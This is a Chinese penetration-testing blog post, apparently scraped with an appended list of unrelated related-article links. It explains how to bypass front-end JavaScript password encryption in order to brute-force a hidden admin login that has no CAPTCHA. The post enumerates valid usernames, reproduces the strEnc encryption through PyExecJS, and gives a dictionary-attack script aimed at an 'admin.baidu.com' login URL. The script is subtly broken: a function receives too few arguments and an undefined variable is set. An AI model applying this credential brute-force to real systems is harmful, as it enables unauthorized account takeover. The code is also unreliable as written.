form标签的action之前 加密_口令爆破之突破前端JS加密
0x00 前言
近期安全测试时发现一个系统前台使用了SSO,但是在比较隐蔽API中发现了后台的登录接口,该接口未使用SSO,同时没有图形验证码等校验,通过分析最终爆破进入后台。
0x01 确认攻击途径
通过信息搜集找到后台登录URL,由于URL比较敏感,这里以 admin/login
替代,尝试登录发现没有图形验证码等校验
通过BurpSuite抓包发现密码字段被加密了
根据回显不同,可进行口令爆破。
攻击思路:
通过回显不同获取存在的账号
分析加密方法
使用加密算法加密密码字典
脚本发包爆破
这里也可以使用Selenium一把梭暴力解决,但是不建议,如果实在没折的话再考虑此方法。
0x02 分析加密方法
加密参数为 u_pwd
,在html文件中搜索该特殊字符
可以看到加密算法是将 u_pwd
和 u_name
拼接之后使用 strEnc
函数处理,然后再和一个随机16位字符串拼接。
测试加密算法
复制定位到的 strEnc
函数JS代码,以Chrome为例。F12->Sources->Overrides->右键Snippets->粘贴
在新建的 snippet上右键>Run
输入密码测试
OK,加密代码找到了,运行对应的加密JS代码即可获取对应密码的加密字符串。
0x03 攻击测试
这里有多种途径,官方推荐PyV8、Node.js、PhantomJS、Nashorn,之前跟爬虫的大哥学习的时候发现他们好多使用的PyExecJS,所以也用这个试试,有兴趣的可以搜搜对应的优缺点。
安装 Node.js
之后 pip installPyExecJS
即可
脚本爆破
import requests
import execjs
import json
def gen_encode_pass(user_name, user_password):
with open("/Users/w2n1ck/Desktop/des.js", "r") as f:
data_func = f.read()
ctx = execjs.compile(data_func)
up = ctx.call('strEnc', user_password, user_name)
rand = ctx.call('randomString', 16)
password = str(up) + str(rand)
print('encode: u_password:',password)
return password
_url = "https://admin.baidu.com:443/admin/login"
_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "https://admin.baidu.cn/admin/login", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "u_token": "", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}
_data = {"u_name": "admin"}
pass_dict = open('/Users/w2n1ck/Desktop/admin_pass.txt', 'r')
for p in pass_dict.readlines():
p = str(p.strip())
print("decode: " + p)
password = gen_encode_pass(p)
burp0_data['u_pwd'] = password
resp = requests.post(_url, headers=_headers, data=_data)
con = json.loads(resp.content)
if 'false' in str(con):
print(con)
pass_dict.close()
通过前期的确定存在的用户名进行社工口令针对性爆破
脚本启动,打卡,下班
第二天上班发现已有存在的账号密码,账号密码登录即可接管系统
参考文章:
https://juejin.im/post/5c8f15bde51d451d1118db99
form标签的action之前 加密_口令爆破之突破前端JS加密相关推荐
- hikaridatasource 加密后登陆不上_渗透测试 | 突破前端JS加密限制
前言 现在前端开发为了提高爬虫的难度及加强安全性,都会在数据包提交前进行加密,最典型的就是传参加密,相信大家在测试的时候都遇到过,那么我们在抓取数据包并修改之后,修改之后的参数无法通过后端程序数据完整 ...
- 判断form表单里面的元素属性是否有数据_html form标签的action属性是什么意思?又有哪些用法?(附实例)...
本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 程序猿的生活:打造全网web前端全栈资料库(总目录)看完学的更快,掌握的更加牢固, ...
- action请求是什么意思_html form标签的action属性是什么意思?又有哪些用法?(附实例)
本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 首先我们先来介绍一下关于HTML form标签的action属性的意思: form ...
- html标签的action属性,html form标签的action属性是什么意思?又有哪些用法?(附实例)...
本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 首先我们先来介绍一下关于HTML form标签的action属性的意思: form ...
- html form标签的action属性是什么意思?又有哪些用法?(附实例
本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 打造全网web前端全栈资料库(总目录)看完学的更快,掌握的更加牢固,你值得拥有(持 ...
- html form标签的action属性是什么意思?又有哪些用法?(附实例)
本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 首先我们先来介绍一下关于HTML form标签的action属性的意思: form ...
- form标签的action属性怎么用?form标签action属性的用法介绍(附实例)
本篇文章主要的介绍了关于HTML中form标签action属性的用法介绍和实例,还有关于form标签的action属性的定义和语法介绍,最后徐还有关于form标签的action属性的作用解释.现在让我 ...
- html自动跳转到action,html中form标签的action属性
html中form标签的action属性 发布时间:2020-05-12 11:48:46 来源:亿速云 阅读:636 作者:Leah 今天小编就为大家带来一篇html中form标签的action属性 ...
- form标签的action怎么用
如有错误欢迎指正 见到一段代码,form标签,action属性为空,action是干嘛的 <form action=""> action属性的作用是:提交表单后,将表单 ...
最新文章
- 利用NVIDIA NGC的TensorRT容器优化和加速人工智能推理
- 脑网络的可塑性——随时都在发生
- [李景山php]每天TP5-20170131|thinkphp5-Request.php-3
- 从JVM看类的加载过程与对象实例化过程
- 操作系统pv操作学习总结
- Python函数及相关知识
- python聊天程序程序代码_python聊天程序实例代码分享
- VisualStudio2010 SP1 SP1 SDK SQLServer 2008 SP3 下载地址
- PyQt5树形结构控件QTreeWidget操作
- 程序设计基础(C语言)课程设计报告,C语言程序设计基础课程设计报告.doc
- 用js控制网页播放器
- Python 进行 Cholesky分解
- 安卓wifi连接 UID xxx does not have permission to update configuration “xxx“WPA_PSK
- 荣耀pro无线路由器配置成无线交换机
- 压测学习总结——高并发性能指标:QPS、TPS、RT、吞吐量详解
- Golang的微服务组件之限流器与熔断器
- 给米钱包、买买分收取用户15%-20%“砍头息”,泸州银行为资金方
- MQTT-SN协议阅读之MQTT-SN vs MQTT
- push与push_back
- python生成微信好友性别环形图
热门文章
- windows操作系统下载tomcat,并与eclipse进行整合
- HDU2161 Primes
- 对android中ActionBar中setDisplayHomeAsUpEnabled和setHomeButtonEnabled和setDisplayShowHomeEnabled方法的理解...
- Flexigid Options
- Oracle物化视图的简单使用
- JDK1.8 LinkedHashMap源码
- Disable IE7 address bar:不显示IE地址栏
- mybatis plus 入门
- hibernate之初学复合主键
- 基础笔记8(二)(容器-引用类型的排序)